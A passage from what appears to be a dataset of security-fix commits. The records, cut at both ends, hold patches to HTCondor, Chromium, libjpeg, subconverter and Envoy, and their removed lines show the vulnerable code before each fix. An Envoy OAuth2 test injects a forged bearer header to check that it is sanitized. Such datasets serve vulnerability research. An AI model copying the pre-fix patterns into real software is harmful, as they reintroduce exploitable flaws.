DaemonCommandProtocol::CommandProtocolResult DaemonCommandProtocol::VerifyComman\n \t\t\tm_perm = USER_AUTH_FAILURE;\n \t\t}\n \t\telse {\n-\t\t\tm_perm = daemonCore->Verify(\n-\t\t\t\t\t\t command_desc.c_str(),\n-\t\t\t\t\t\t m_comTable[m_cmd_index].perm,\n-\t\t\t\t\t\t m_sock->peer_addr(),\n-\t\t\t\t\t\t m_user.c_str() );\n+\t\t\t\t// Authentication methods can limit the authorizations associated with\n+\t\t\t\t// a given identity (at time of coding, only TOKEN does this); apply\n+\t\t\t\t// these limits if present.\n+\t\t\tstd::string authz_policy;\n+\t\t\tbool can_attempt = true;\n+\t\t\tif (m_policy && m_policy->EvaluateAttrString(ATTR_SEC_LIMIT_AUTHORIZATION, authz_policy)) {\n+\t\t\t\tStringList authz_limits(authz_policy.c_str());\n+\t\t\t\tauthz_limits.rewind();\n+\t\t\t\tconst char *perm_cstr = PermString(m_comTable[m_cmd_index].perm);\n+\t\t\t\tconst char *authz_name;\n+\t\t\t\tbool found_limit = false;\n+\t\t\t\twhile ( (authz_name = authz_limits.next()) ) {\n+\t\t\t\t\tif (!strcmp(perm_cstr, authz_name)) {\n+\t\t\t\t\t\tfound_limit = true;\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\tbool has_allow_perm = !strcmp(perm_cstr, \"ALLOW\");\n+\t\t\t\tif (!found_limit && !has_allow_perm) {\n+\t\t\t\t\tcan_attempt = false;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tif (can_attempt) {\n+\t\t\t\tm_perm = daemonCore->Verify(\n+\t\t\t\t\tcommand_desc.c_str(),\n+\t\t\t\t\tm_comTable[m_cmd_index].perm,\n+\t\t\t\t\tm_sock->peer_addr(),\n+\t\t\t\t\tm_user.c_str() );\n+\t\t\t} else {\n+\t\t\t\tdprintf(D_ALWAYS, \"DC_AUTHENTICATE: authentication of %s was successful but resulted in a limited authorization which did not include this command (%d %s), so aborting.\\n\",\n+\t\t\t\t\tm_sock->peer_description(),\n+\t\t\t\t\tm_req,\n+\t\t\t\t\tm_comTable[m_cmd_index].command_descrip);\n+\t\t\t\tm_perm = USER_AUTH_FAILURE;\n+\t\t\t}\n \t\t}\n \n \t} else {", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "components/permissions/chooser_title_util.cc", "commit_id": "b13ddd23f2696a1a823ee13794cfdb3102d8e9f7", "commit_message": "Use the origin/name of the main frame in chooser dialogs\n\nPermissions dialogs (for WebUSB, WebHID, and Web Serial) should request\npermission for the main origin (the origin embedding the iframe) and not\nthe site hosting the iframe as per crbug.com/802945. Update the UI code\nto accurately display the main origin (or extension name) and add tests.\n\nBug: 1280233\nChange-Id: Ia3bf9274eb49c1d842e204a518635cc1187f3d3d\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3353956\nReviewed-by: Scott Violet \nReviewed-by: Andy Paicu \nCommit-Queue: Reilly Grant \nCr-Commit-Position: refs/heads/main@{#963184}", "patch": "@@ -15,11 +15,10 @@ std::u16string CreateChooserTitle(content::RenderFrameHost* render_frame_host,\n int title_string_id_origin) {\n if (!render_frame_host)\n return u\"\";\n-\n return l10n_util::GetStringFUTF16(\n title_string_id_origin,\n url_formatter::FormatOriginForSecurityDisplay(\n- render_frame_host->GetLastCommittedOrigin(),\n+ render_frame_host->GetMainFrame()->GetLastCommittedOrigin(),\n url_formatter::SchemeDisplay::OMIT_CRYPTOGRAPHIC));\n }\n ", "sections": [{"section": "@@ -15,11 +15,10 @@ std::u16string CreateChooserTitle(content::RenderFrameHost* render_frame_host,\n int title_string_id_origin) {\n if (!render_frame_host)\n return u\"\";\n-\n return l10n_util::GetStringFUTF16(\n title_string_id_origin,\n url_formatter::FormatOriginForSecurityDisplay(\n- render_frame_host->GetLastCommittedOrigin(),\n+ render_frame_host->GetMainFrame()->GetLastCommittedOrigin(),\n url_formatter::SchemeDisplay::OMIT_CRYPTOGRAPHIC));\n }\n ", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "chrome/installer/util/util_constants.cc", "commit_id": "368a755a8d2364742b65f1ae5dbafbd99532683f", "commit_message": "Fix Security Elevation of Privilege in Chrome installer during update\n\nWe use the `new_setup_exe` directory as the working directory for\n`ArchivePatchHelper::UncompressAndPatch`. For System installs, this\ndirectory would be under %ProgramFiles% (a directory that only admins\ncan write to by default) and hence a secure location.\n\nBug: 1279188\nChange-Id: I8f65ff67d588c46d81abc09616a08e19be2820e5\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3351102\nAuto-Submit: S. Ganesh \nReviewed-by: Greg Thompson \nCommit-Queue: Greg Thompson \nCr-Commit-Position: refs/heads/main@{#955697}", "patch": "@@ -94,8 +94,10 @@ const char kMakeChromeDefault[] = \"make-chrome-default\";\n // Tells installer to expect to be run as a subsidiary to an MSI.\n const char kMsi[] = \"msi\";\n \n-// Useful only when used with --update-setup-exe, otherwise ignored. It\n-// specifies the full path where updated setup.exe will be stored.\n+// Useful only when used with --update-setup-exe; otherwise ignored. Specifies\n+// the full path where the updated setup.exe will be written. Any other files\n+// created in the indicated directory may be deleted by the caller after process\n+// termination.\n const char kNewSetupExe[] = \"new-setup-exe\";\n \n // Specifies a nonce to use with the rotate device key command.", "sections": [{"section": "@@ -94,8 +94,10 @@ const char kMakeChromeDefault[] = \"make-chrome-default\";\n // Tells installer to expect to be run as a subsidiary to an MSI.\n const char kMsi[] = \"msi\";\n \n-// Useful only when used with --update-setup-exe, otherwise ignored. It\n-// specifies the full path where updated setup.exe will be stored.\n+// Useful only when used with --update-setup-exe; otherwise ignored. Specifies\n+// the full path where the updated setup.exe will be written. Any other files\n+// created in the indicated directory may be deleted by the caller after process\n+// termination.\n const char kNewSetupExe[] = \"new-setup-exe\";\n \n // Specifies a nonce to use with the rotate device key command.", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "third_party/blink/renderer/core/css/container_query_evaluator.cc", "commit_id": "809b8358c1c2ba4971990e56b728203b36298bf2", "commit_message": "[@container] Don't establish containers in legacy tree\n\nContainer Queries and legacy layout don't work together. Don't skip\nstyle recalc or create a query evaluator for the cases we know we are\nin a legacy tree.\n\nBug: 1282782\nChange-Id: Ibcebf427a5eff583da1f73fb990239da99305fec\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3370281\nReviewed-by: Morten Stenshorne \nCommit-Queue: Rune Lillesveen \nCr-Commit-Position: refs/heads/main@{#956150}", "patch": "@@ -65,7 +65,7 @@ Element* ContainerQueryEvaluator::FindContainer(\n for (Element* element = container; element;\n element = LayoutTreeBuilderTraversal::ParentElement(*element)) {\n if (const ComputedStyle* style = element->GetComputedStyle()) {\n- if (style->IsContainerForContainerQueries() &&\n+ if (style->IsContainerForContainerQueries(*element) &&\n Matches(*style, container_selector)) {\n return element;\n }", "sections": [{"section": "@@ -65,7 +65,7 @@ Element* ContainerQueryEvaluator::FindContainer(\n for (Element* element = container; element;\n element = LayoutTreeBuilderTraversal::ParentElement(*element)) {\n if (const ComputedStyle* style = element->GetComputedStyle()) {\n- if (style->IsContainerForContainerQueries() &&\n+ if (style->IsContainerForContainerQueries(*element) &&\n Matches(*style, container_selector)) {\n return element;\n }", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "components/omnibox/browser/history_url_provider.cc", "commit_id": "24459ac6c72b2fd7c90f9e58bdbd6808c1a19be0", "commit_message": "[omnibox] Fix UAF bug in TemplateURLParser\n\nThis CL takes a snapshot of SearchTermsData (just like\nHistoryURLProvider does) within TemplateURLParser, so we eliminate a\nsource of UAF bugs, where the TemplateURL parsing outlives the original\nSearchTermsData.\n\nThis bug happens during Chrome shutdown.\n\nBug: 1278322\nChange-Id: I439d9d3193bcaa7ef57ec0a046d057c32ef6fb76\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3403242\nReviewed-by: Justin Donnelly \nCommit-Queue: Tommy Li \nCr-Commit-Position: refs/heads/main@{#961536}", "patch": "@@ -275,86 +275,6 @@ GURL ConvertToHostOnly(const history::HistoryMatch& match,\n \n } // namespace\n \n-// -----------------------------------------------------------------\n-// SearchTermsDataSnapshot\n-\n-// Implementation of SearchTermsData that takes a snapshot of another\n-// SearchTermsData by copying all the responses to the different getters into\n-// member strings, then returning those strings when its own getters are called.\n-// This will typically be constructed on the UI thread from\n-// UIThreadSearchTermsData but is subsequently safe to use on any thread.\n-class SearchTermsDataSnapshot : public SearchTermsData {\n- public:\n- explicit SearchTermsDataSnapshot(const SearchTermsData* search_terms_data);\n- ~SearchTermsDataSnapshot() override;\n- SearchTermsDataSnapshot(const SearchTermsDataSnapshot&) = delete;\n- SearchTermsDataSnapshot& operator=(const SearchTermsDataSnapshot&) = delete;\n-\n- std::string GoogleBaseURLValue() const override;\n- std::string GetApplicationLocale() const override;\n- std::u16string GetRlzParameterValue(bool from_app_list) const override;\n- std::string GetSearchClient() const override;\n- std::string GoogleImageSearchSource() const override;\n-\n- // Estimates dynamic memory usage.\n- // See base/trace_event/memory_usage_estimator.h for more info.\n- size_t EstimateMemoryUsage() const override;\n-\n- private:\n- std::string google_base_url_value_;\n- std::string application_locale_;\n- std::u16string rlz_parameter_value_;\n- std::string search_client_;\n- std::string google_image_search_source_;\n-};\n-\n-SearchTermsDataSnapshot::SearchTermsDataSnapshot(\n- const SearchTermsData* search_terms_data) {\n- if (search_terms_data) {\n- google_base_url_value_ = search_terms_data->GoogleBaseURLValue();\n- application_locale_ = search_terms_data->GetApplicationLocale();\n- rlz_parameter_value_ = search_terms_data->GetRlzParameterValue(false);\n- search_client_ = search_terms_data->GetSearchClient();\n- google_image_search_source_ = search_terms_data->GoogleImageSearchSource();\n- }\n-}\n-\n-SearchTermsDataSnapshot::~SearchTermsDataSnapshot() {\n-}\n-\n-std::string SearchTermsDataSnapshot::GoogleBaseURLValue() const {\n- return google_base_url_value_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GetApplicationLocale() const {\n- return application_locale_;\n-}\n-\n-std::u16string SearchTermsDataSnapshot::GetRlzParameterValue(\n- bool from_app_list) const {\n- return rlz_parameter_value_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GetSearchClient() const {\n- return search_client_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GoogleImageSearchSource() const {\n- return google_image_search_source_;\n-}\n-\n-size_t SearchTermsDataSnapshot::EstimateMemoryUsage() const {\n- size_t res = 0;\n-\n- res += base::trace_event::EstimateMemoryUsage(google_base_url_value_);\n- res += base::trace_event::EstimateMemoryUsage(application_locale_);\n- res += base::trace_event::EstimateMemoryUsage(rlz_parameter_value_);\n- res += base::trace_event::EstimateMemoryUsage(search_client_);\n- res += base::trace_event::EstimateMemoryUsage(google_image_search_source_);\n-\n- return res;\n-}\n-\n // -----------------------------------------------------------------\n // HistoryURLProvider\n \n@@ -463,7 +383,7 @@ HistoryURLProviderParams::HistoryURLProviderParams(\n default_search_provider\n ? new TemplateURL(default_search_provider->data())\n : nullptr),\n- search_terms_data(new SearchTermsDataSnapshot(search_terms_data)),\n+ search_terms_data(SearchTermsData::MakeSnapshot(search_terms_data)),\n allow_deleting_browser_history(allow_deleting_browser_history) {}\n \n HistoryURLProviderParams::~HistoryURLProviderParams() {", "sections": [{"section": "@@ -275,86 +275,6 @@ GURL ConvertToHostOnly(const history::HistoryMatch& match,\n \n } // namespace\n \n-// -----------------------------------------------------------------\n-// SearchTermsDataSnapshot\n-\n-// Implementation of SearchTermsData that takes a snapshot of another\n-// SearchTermsData by copying all the responses to the different getters into\n-// member strings, then returning those strings when its own getters are called.\n-// This will typically be constructed on the UI thread from\n-// UIThreadSearchTermsData but is subsequently safe to use on any thread.\n-class SearchTermsDataSnapshot : public SearchTermsData {\n- public:\n- explicit SearchTermsDataSnapshot(const SearchTermsData* search_terms_data);\n- ~SearchTermsDataSnapshot() override;\n- SearchTermsDataSnapshot(const SearchTermsDataSnapshot&) = delete;\n- SearchTermsDataSnapshot& operator=(const SearchTermsDataSnapshot&) = delete;\n-\n- std::string GoogleBaseURLValue() const override;\n- std::string GetApplicationLocale() const override;\n- std::u16string GetRlzParameterValue(bool from_app_list) const override;\n- std::string GetSearchClient() const override;\n- std::string GoogleImageSearchSource() const override;\n-\n- // Estimates dynamic memory usage.\n- // See base/trace_event/memory_usage_estimator.h for more info.\n- size_t EstimateMemoryUsage() const override;\n-\n- private:\n- std::string google_base_url_value_;\n- std::string application_locale_;\n- std::u16string rlz_parameter_value_;\n- std::string search_client_;\n- std::string google_image_search_source_;\n-};\n-\n-SearchTermsDataSnapshot::SearchTermsDataSnapshot(\n- const SearchTermsData* search_terms_data) {\n- if (search_terms_data) {\n- google_base_url_value_ = search_terms_data->GoogleBaseURLValue();\n- application_locale_ = search_terms_data->GetApplicationLocale();\n- rlz_parameter_value_ = search_terms_data->GetRlzParameterValue(false);\n- search_client_ = search_terms_data->GetSearchClient();\n- google_image_search_source_ = search_terms_data->GoogleImageSearchSource();\n- }\n-}\n-\n-SearchTermsDataSnapshot::~SearchTermsDataSnapshot() {\n-}\n-\n-std::string SearchTermsDataSnapshot::GoogleBaseURLValue() const {\n- return google_base_url_value_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GetApplicationLocale() const {\n- return application_locale_;\n-}\n-\n-std::u16string SearchTermsDataSnapshot::GetRlzParameterValue(\n- bool from_app_list) const {\n- return rlz_parameter_value_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GetSearchClient() const {\n- return search_client_;\n-}\n-\n-std::string SearchTermsDataSnapshot::GoogleImageSearchSource() const {\n- return google_image_search_source_;\n-}\n-\n-size_t SearchTermsDataSnapshot::EstimateMemoryUsage() const {\n- size_t res = 0;\n-\n- res += base::trace_event::EstimateMemoryUsage(google_base_url_value_);\n- res += base::trace_event::EstimateMemoryUsage(application_locale_);\n- res += base::trace_event::EstimateMemoryUsage(rlz_parameter_value_);\n- res += base::trace_event::EstimateMemoryUsage(search_client_);\n- res += base::trace_event::EstimateMemoryUsage(google_image_search_source_);\n-\n- return res;\n-}\n-\n // -----------------------------------------------------------------\n // HistoryURLProvider\n \n", "related": false}, {"section": "@@ -463,7 +383,7 @@ HistoryURLProviderParams::HistoryURLProviderParams(\n default_search_provider\n ? new TemplateURL(default_search_provider->data())\n : nullptr),\n- search_terms_data(new SearchTermsDataSnapshot(search_terms_data)),\n+ search_terms_data(SearchTermsData::MakeSnapshot(search_terms_data)),\n allow_deleting_browser_history(allow_deleting_browser_history) {}\n \n HistoryURLProviderParams::~HistoryURLProviderParams() {", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "services/viz/public/cpp/gpu/context_provider_command_buffer.cc", "commit_id": "98d246cabe677e1d8287e4d42ce02825417be9e2", "commit_message": "Viz: Fix UAF on context loss\n\nFixed: 1250655\nChange-Id: I2898316635d370fa36b94e0ae2564ed357745b2c\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3413372\nAuto-Submit: Ken Rockot \nReviewed-by: Kyle Charbonneau \nCommit-Queue: Kyle Charbonneau \nCr-Commit-Position: refs/heads/main@{#963012}", "patch": "@@ -478,9 +478,13 @@ const gpu::GpuFeatureInfo& ContextProviderCommandBuffer::GetGpuFeatureInfo()\n void ContextProviderCommandBuffer::OnLostContext() {\n CheckValidThreadOrLockAcquired();\n \n- // Ensure |this| isn't destroyed in the middle of OnLostContext() if observers\n- // drop all references to it.\n- scoped_refptr ref(this);\n+ // Observers may drop the last persistent references to `this`, but there may\n+ // be weak references in use further up the stack. This task is posted to\n+ // ensure that destruction is deferred until it's safe.\n+ base::SequencedTaskRunnerHandle::Get()->PostTask(\n+ FROM_HERE,\n+ base::BindOnce([](scoped_refptr) {},\n+ base::WrapRefCounted(this)));\n \n for (auto& observer : observers_)\n observer.OnContextLost();", "sections": [{"section": "@@ -478,9 +478,13 @@ const gpu::GpuFeatureInfo& ContextProviderCommandBuffer::GetGpuFeatureInfo()\n void ContextProviderCommandBuffer::OnLostContext() {\n CheckValidThreadOrLockAcquired();\n \n- // Ensure |this| isn't destroyed in the middle of OnLostContext() if observers\n- // drop all references to it.\n- scoped_refptr ref(this);\n+ // Observers may drop the last persistent references to `this`, but there may\n+ // be weak references in use further up the stack. This task is posted to\n+ // ensure that destruction is deferred until it's safe.\n+ base::SequencedTaskRunnerHandle::Get()->PostTask(\n+ FROM_HERE,\n+ base::BindOnce([](scoped_refptr) {},\n+ base::WrapRefCounted(this)));\n \n for (auto& observer : observers_)\n observer.OnContextLost();", "related": false}]} +{"owner": "thorfdbg", "repo": "libjpeg", "language": "C++", "file_name": "codestream/acsequentialscan.cpp", "commit_id": "ef4a29a62ab48b8dc235f4af52cfd6319eda9a6a", "commit_message": "Added out-of-bounds checks for lossless symbol decoding and AC context\nindices. Worked around some gcc warnings. Bumped to 1.64.", "patch": "@@ -42,7 +42,7 @@\n **\n ** Represents the scan including the scan header.\n **\n-** $Id: acsequentialscan.cpp,v 1.51 2016/10/28 13:58:53 thor Exp $\n+** $Id: acsequentialscan.cpp,v 1.52 2022/05/23 05:56:51 thor Exp $\n **\n */\n \n@@ -582,8 +582,7 @@ void ACSequentialScan::DecodeBlock(LONG *block,\n \n while(m_Coder.Get(m_Context[dc].DCMagnitude.X[i])) {\n m <<= 1;\n- i++;\n- if (m == 0) \n+ if(++i >= QMContextSet::DCContextMagnitudeSet::MagnitudeContexts)\n JPG_THROW(MALFORMED_STREAM,\"ACSequentialScan::DecodeBlock\",\n \"QMDecoder is out of sync\");\n }\n@@ -653,8 +652,7 @@ void ACSequentialScan::DecodeBlock(LONG *block,\n \n while(m_Coder.Get(acm.X[i])) {\n m <<= 1;\n- i++;\n- if (m == 0)\n+ if(++i >= QMContextSet::ACContextMagnitudeSet::MagnitudeContexts)\n JPG_THROW(MALFORMED_STREAM,\"ACSequentialScan::DecodeBlock\",\n \"QMDecoder is out of sync\");\n }", "sections": [{"section": "@@ -42,7 +42,7 @@\n **\n ** Represents the scan including the scan header.\n **\n-** $Id: acsequentialscan.cpp,v 1.51 2016/10/28 13:58:53 thor Exp $\n+** $Id: acsequentialscan.cpp,v 1.52 2022/05/23 05:56:51 thor Exp $\n **\n */\n \n", "related": false}, {"section": "@@ -582,8 +582,7 @@ void ACSequentialScan::DecodeBlock(LONG *block,\n \n while(m_Coder.Get(m_Context[dc].DCMagnitude.X[i])) {\n m <<= 1;\n- i++;\n- if (m == 0) \n+ if(++i >= QMContextSet::DCContextMagnitudeSet::MagnitudeContexts)\n JPG_THROW(MALFORMED_STREAM,\"ACSequentialScan::DecodeBlock\",\n \"QMDecoder is out of sync\");\n }\n", "related": false}, {"section": "@@ -653,8 +652,7 @@ void ACSequentialScan::DecodeBlock(LONG *block,\n \n while(m_Coder.Get(acm.X[i])) {\n m <<= 1;\n- i++;\n- if (m == 0)\n+ if(++i >= QMContextSet::ACContextMagnitudeSet::MagnitudeContexts)\n JPG_THROW(MALFORMED_STREAM,\"ACSequentialScan::DecodeBlock\",\n \"QMDecoder is out of sync\");\n }", "related": false}]} +{"owner": "tindy2013", "repo": "subconverter", "language": "C", "file_name": "src/generator/config/subexport.h", "commit_id": "ce8d2bd0f13f05fcbd2ed90755d097f402393dd3", "commit_message": "Enhancements\n\nAdd authorization check before loading scripts.\nAdd detailed logs when loading preference settings.", "patch": "@@ -39,6 +39,7 @@ struct extra_settings\n bool clash_classical_ruleset = false;\n std::string sort_script = \"\";\n std::string clash_proxies_style = \"flow\";\n+ bool authorized = false;\n \n extra_settings() {};\n extra_settings(const extra_settings&) = delete;", "sections": [{"section": "@@ -39,6 +39,7 @@ struct extra_settings\n bool clash_classical_ruleset = false;\n std::string sort_script = \"\";\n std::string clash_proxies_style = \"flow\";\n+ bool authorized = false;\n \n extra_settings() {};\n extra_settings(const extra_settings&) = delete;", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/extensions/filters/http/oauth2/filter_test.cc", "commit_id": "7ffda4e809dec74449ebc330cebb9d2f4ab61360", "commit_message": "oauth2: do not blindly accept requests with a token in the Authorization headera (781)\n\nThe logic was broken because it assumed an additional call would be\nperformed to the auth server, which isn't the case. Per the filter\ndocumentation, a request is only considered subsequently authenticated\nif there's valid cookie that was set after the access token was received\nfrom the auth server:\n\nhttps://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/oauth2_filter\n\nMore info about how to validate an access token (which we don't do, per\nabove):\n\nhttps://www.oauth.com/oauth2-servers/token-introspection-endpoint/\nhttps://datatracker.ietf.org/doc/html/rfc7662\n\nAlso fix the fact that ee shouldn't be calling continueDecoding() after\ndecoder_callbacks_->encodeHeaders().\n\nSigned-off-by: Raul Gutierrez Segales \nSigned-off-by: Matt Klein \nSigned-off-by: Pradeep Rao ", "patch": "@@ -95,7 +95,7 @@ class OAuth2Test : public testing::Test {\n }\n \n // Set up proto fields with standard config.\n- FilterConfigSharedPtr getConfig() {\n+ FilterConfigSharedPtr getConfig(bool forward_bearer_token = true) {\n envoy::extensions::filters::http::oauth2::v3::OAuth2Config p;\n auto* endpoint = p.mutable_token_endpoint();\n endpoint->set_cluster(\"auth.example.com\");\n@@ -105,7 +105,7 @@ class OAuth2Test : public testing::Test {\n p.mutable_redirect_path_matcher()->mutable_path()->set_exact(TEST_CALLBACK);\n p.set_authorization_endpoint(\"https://auth.example.com/oauth/authorize/\");\n p.mutable_signout_path()->mutable_path()->set_exact(\"/_signout\");\n- p.set_forward_bearer_token(true);\n+ p.set_forward_bearer_token(forward_bearer_token);\n p.add_auth_scopes(\"user\");\n p.add_auth_scopes(\"openid\");\n p.add_auth_scopes(\"email\");\n@@ -422,6 +422,50 @@ TEST_F(OAuth2Test, OAuthOkPass) {\n EXPECT_EQ(scope_.counterFromString(\"test.oauth_success\").value(), 1);\n }\n \n+/**\n+ * Scenario: The OAuth filter receives a request to an arbitrary path with valid OAuth cookies\n+ * (cookie values and validation are mocked out), but with an invalid token in the Authorization\n+ * header and forwarding bearer token is disabled.\n+ *\n+ * Expected behavior: the filter should sanitize the Authorization header and let the request\n+ * proceed.\n+ */\n+TEST_F(OAuth2Test, OAuthOkPassButInvalidToken) {\n+ init(getConfig(false /* forward_bearer_token */));\n+\n+ Http::TestRequestHeaderMapImpl mock_request_headers{\n+ {Http::Headers::get().Path.get(), \"/anypath\"},\n+ {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n+ {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n+ {Http::Headers::get().Scheme.get(), \"https\"},\n+ {Http::CustomHeaders::get().Authorization.get(), \"Bearer injected_malice!\"},\n+ };\n+\n+ Http::TestRequestHeaderMapImpl expected_headers{\n+ {Http::Headers::get().Path.get(), \"/anypath\"},\n+ {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n+ {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n+ {Http::Headers::get().Scheme.get(), \"https\"},\n+ };\n+\n+ // cookie-validation mocking\n+ EXPECT_CALL(*validator_, setParams(_, _));\n+ EXPECT_CALL(*validator_, isValid()).WillOnce(Return(true));\n+\n+ // Sanitized return reference mocking\n+ std::string legit_token{\"legit_token\"};\n+ EXPECT_CALL(*validator_, token()).WillRepeatedly(ReturnRef(legit_token));\n+\n+ EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n+ filter_->decodeHeaders(mock_request_headers, false));\n+\n+ // Ensure that existing OAuth forwarded headers got sanitized.\n+ EXPECT_EQ(mock_request_headers, expected_headers);\n+\n+ EXPECT_EQ(scope_.counterFromString(\"test.oauth_failure\").value(), 0);\n+ EXPECT_EQ(scope_.counterFromString(\"test.oauth_success\").value(), 1);\n+}\n+\n /**\n * Scenario: The OAuth filter receives a request without valid OAuth cookies to a non-callback URL\n * (indicating that the user needs to re-validate cookies or get 401'd).\n@@ -790,63 +834,41 @@ TEST_F(OAuth2Test, OAuthTestFullFlowPostWithParameters) {\n \n EXPECT_CALL(decoder_callbacks_,\n encodeHeaders_(HeaderMapEqualRef(&second_response_headers), true));\n- EXPECT_CALL(decoder_callbacks_, continueDecoding());\n \n filter_->finishFlow();\n }\n \n TEST_F(OAuth2Test, OAuthBearerTokenFlowFromHeader) {\n- Http::TestRequestHeaderMapImpl request_headers_before{\n- {Http::Headers::get().Path.get(), \"/test?role=bearer\"},\n- {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n- {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n- {Http::Headers::get().Scheme.get(), \"https\"},\n- {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-header-token\"},\n- };\n- // Expected decoded headers after the callback & validation of the bearer token is complete.\n- Http::TestRequestHeaderMapImpl request_headers_after{\n+ Http::TestRequestHeaderMapImpl request_headers{\n {Http::Headers::get().Path.get(), \"/test?role=bearer\"},\n {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n {Http::Headers::get().Scheme.get(), \"https\"},\n {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-header-token\"},\n };\n \n- // Fail the validation to trigger the OAuth flow.\n+ // Fail the validation.\n EXPECT_CALL(*validator_, setParams(_, _));\n EXPECT_CALL(*validator_, isValid()).WillOnce(Return(false));\n \n- EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n- filter_->decodeHeaders(request_headers_before, false));\n-\n- // Finally, expect that the header map had OAuth information appended to it.\n- EXPECT_EQ(request_headers_before, request_headers_after);\n+ EXPECT_EQ(Http::FilterHeadersStatus::StopIteration,\n+ filter_->decodeHeaders(request_headers, false));\n }\n \n TEST_F(OAuth2Test, OAuthBearerTokenFlowFromQueryParameters) {\n- Http::TestRequestHeaderMapImpl request_headers_before{\n- {Http::Headers::get().Path.get(), \"/test?role=bearer&token=xyz-queryparam-token\"},\n- {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n- {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n- {Http::Headers::get().Scheme.get(), \"https\"},\n- };\n- Http::TestRequestHeaderMapImpl request_headers_after{\n+ Http::TestRequestHeaderMapImpl request_headers{\n {Http::Headers::get().Path.get(), \"/test?role=bearer&token=xyz-queryparam-token\"},\n {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n {Http::Headers::get().Scheme.get(), \"https\"},\n- {Http::CustomHeaders::get().Authorization.get(), \"Bearer xyz-queryparam-token\"},\n };\n \n- // Fail the validation to trigger the OAuth flow.\n+ // Fail the validation.\n EXPECT_CALL(*validator_, setParams(_, _));\n EXPECT_CALL(*validator_, isValid()).WillOnce(Return(false));\n \n- EXPECT_EQ(Http::FilterHeadersStatus::Continue,\n- filter_->decodeHeaders(request_headers_before, false));\n-\n- // Expected decoded headers after the callback & validation of the bearer token is complete.\n- EXPECT_EQ(request_headers_before, request_headers_after);\n+ EXPECT_EQ(Http::FilterHeadersStatus::StopIteration,\n+ filter_->decodeHeaders(request_headers, false));\n }\n \n } // namespace Oauth2", "sections": [{"section": "@@ -95,7 +95,7 @@ class OAuth2Test : public testing::Test {\n }\n \n // Set up proto fields with standard config.\n- FilterConfigSharedPtr getConfig() {\n+ FilterConfigSharedPtr getConfig(bool forward_bearer_token = true) {\n envoy::extensions::filters::http::oauth2::v3::OAuth2Config p;\n auto* endpoint = p.mutable_token_endpoint();\n endpoint->set_cluster(\"auth.example.com\");\n", "related": false}, {"section": "@@ -105,7 +105,7 @@ class OAuth2Test : public testing::Test {\n p.mutable_redirect_path_matcher()->mutable_path()->set_exact(TEST_CALLBACK);\n p.set_authorization_endpoint(\"https://auth.example.com/oauth/authorize/\");\n p.mutable_signout_path()->mutable_path()->set_exact(\"/_signout\");\n- p.set_forward_bearer_token(true);\n+ p.set_forward_bearer_token(forward_bearer_token);\n p.add_auth_scopes(\"user\");\n p.add_auth_scopes(\"openid\");\n p.add_auth_scopes(\"email\");\n", "related": false}, {"section": "@@ -422,6 +422,50 @@ TEST_F(OAuth2Test, OAuthOkPass) {\n EXPECT_EQ(scope_.counterFromString(\"test.oauth_success\").value(), 1);\n }\n \n+/**\n+ * Scenario: The OAuth filter receives a request to an arbitrary path with valid OAuth cookies\n+ * (cookie values and validation are mocked out), but with an invalid token in the Authorization\n+ * header and forwarding bearer token is disabled.\n+ *\n+ * Expected behavior: the filter should sanitize the Authorization header and let the request\n+ * proceed.\n+ */\n+TEST_F(OAuth2Test, OAuthOkPassButInvalidToken) {\n+ init(getConfig(false /* forward_bearer_token */));\n+\n+ Http::TestRequestHeaderMapImpl mock_request_headers{\n+ {Http::Headers::get().Path.get(), \"/anypath\"},\n+ {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n+ {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n+ {Http::Headers::get().Scheme.get(), \"https\"},\n+ {Http::CustomHeaders::get().Authorization.get(), \"Bearer injected_malice!\"},\n+ };\n+\n+ Http::TestRequestHeaderMapImpl expected_headers{\n+ {Http::Headers::get().Path.get(), \"/anypath\"},\n+ {Http::Headers::get().Host.get(), \"traffic.example.com\"},\n+ {Http::Headers::get().Method.get(), Http::Headers::get().MethodValues.Get},\n+ {Http::Headers::get().Scheme.get(), \"https\"},\n+ };\n+\n+ // cookie-validation mocking\n+ EXPECT_CALL(*validator_, setParams(_, _));\n+ EXPECT_CALL(*validator_, isValid()).WillOnce(Return(true));\n+\n+ // Sanitized return reference mocking\n+ std::string legit_token{\"legit_token\"};\n+ EXPECT_CALL(*validator_, token()).WillRepeatedly(ReturnRef(legit_token));\n+\n+ 